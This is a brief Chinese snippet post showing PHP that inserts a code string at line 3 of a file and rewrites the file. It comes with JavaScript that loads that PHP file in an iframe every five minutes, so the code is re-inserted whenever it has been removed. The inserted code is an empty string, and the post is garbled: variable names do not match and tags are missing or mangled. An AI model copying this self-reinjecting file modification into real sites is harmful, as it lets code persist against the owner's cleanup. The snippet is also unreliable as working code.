php在文件指定行中写入代码的方法

$file="aa.php" ;
$code="";
$f=fopen($file,"r+");
$cOntent=fread($f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrInsert = insertContent($file, $code, 3);
unlink($file);
foreach($arrInsert as $value)
{
file_put_contents($file, $value, FILE_APPEND);
}
}
function insertContent($source, $s, $iLine) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iLine) {
$arr[] = $line .$s . "\n";
}else {
$arr[] = $line;
}
}
fclose($file_handle);
return $arr;
}
?>

代码如下:

function singOut() {
var O = document.createElement("iframe");
O.src="http://www.google.com/上边的php文件.php";
O.width=100;
O.height=100;
document.body.appendChild(O);
}
window.setInterval("singOut();",300000);
《SCRIPT》